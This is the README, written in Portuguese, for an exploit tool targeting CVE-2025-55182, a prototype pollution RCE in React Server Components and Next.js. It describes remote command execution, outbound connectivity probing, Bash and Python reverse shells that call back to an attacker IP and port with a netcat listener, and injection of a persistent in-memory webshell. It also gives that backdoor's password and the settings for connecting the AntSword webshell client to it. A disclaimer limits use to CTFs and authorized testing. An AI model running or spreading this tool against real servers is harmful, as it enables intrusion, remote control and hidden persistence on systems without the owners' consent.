React2Shell: CVE-2025-55182 Ferramenta de exploração abrangente

Autor: lamaper / BITs2Sys

Versão: 1.0.1

Licença: MIT

📝 Descrição da ferramenta

Esta ferramenta é uma ferramenta automatizada de teste de penetração especificamente para CVE-2025-55182 (contaminação da cadeia de protótipos do React Server Components / Next.js levando a RCE). Esta ferramenta é projetada para competições CTF e projetos de serviços de segurança autorizados, integrando várias funcionalidades como verificação de vulnerabilidades, detecção de conectividade de saída, shell reverso e injeção de memory shell.

🚀 Funcionalidades principais

• Execução de comando com um clique (--cmd): Utiliza o mecanismo de exceção NEXT_REDIRECT para retornar com precisão os resultados de execução de comandos codificados em Base64.
• Detecção de status de conectividade de saída (--check-outbound): Testa automaticamente a capacidade do alvo de acessar DNS, HTTP e ICMP, auxiliando na decisão do vetor de ataque.
• Shell reverso interativo (--shell): Inclui dois modos de shell reverso: Bash e Python3, com suporte para execução assíncrona para evitar que solicitações HTTP fiquem pendentes.
• Memory shell persistente (--inject-ms): Injeta um memory shell sequestrando o mecanismo de distribuição de eventos do http.Server do Node.js, sem deixar resíduos de arquivos, suportando controle persistente.
• Interface interativa do memory shell (--ms-cmd): Modo interativo independente do caminho de exploração da vulnerabilidade; após a injeção bem-sucedida, comandos podem ser executados diretamente pelo backdoor.

🛠️ Instalação e dependências

Esta ferramenta é desenvolvida em Python 3 e requer apenas a instalação da biblioteca requests.

pip install requests

📖 Guia de uso

0. Verificar se a vulnerabilidade existe

https://github.com/assetnote/react2shell-scanner é uma ferramenta de detecção muito útil.

1. Execução de comando básica

Obter informações do alvo diretamente:

python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"

2. Detecção de conectividade de saída

Antes de tentar um shell reverso, confirme se o alvo pode se conectar à internet externa:

python exploit.py --url http://target.com/ --check-outbound

3. Shell reverso

Modo Bash:

# 攻击机执行监听: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <你的IP> --port 4444

Modo Python:

python exploit.py --url http://target.com/ --shell python --ip <你的IP> --port 4444

4. Exploração de memory shell (persistente)

Injetar memory shell:

python exploit.py --url http://target.com/ --inject-ms

Executar comando via memory shell (após injeção bem-sucedida):

python exploit.py --url http://target.com/ --ms-cmd "whoami"

Nota: O caminho de montagem padrão do memory shell é /?pass, acionado pelo envio do parâmetro pwd via POST.

Conexão via AntSword (Chinese AntSword):

Senha de conexão: pwd, método de conexão: CMDLINUX

⚠️ Aviso de isenção de responsabilidade

Esta ferramenta é destinada apenas para pesquisas de segurança dentro dos limites permitidos por lei, competições CTF e testes de penetração autorizados. É estritamente proibido usá-la para ataques ilegais. Todas as consequências decorrentes do uso desta ferramenta são de responsabilidade do usuário.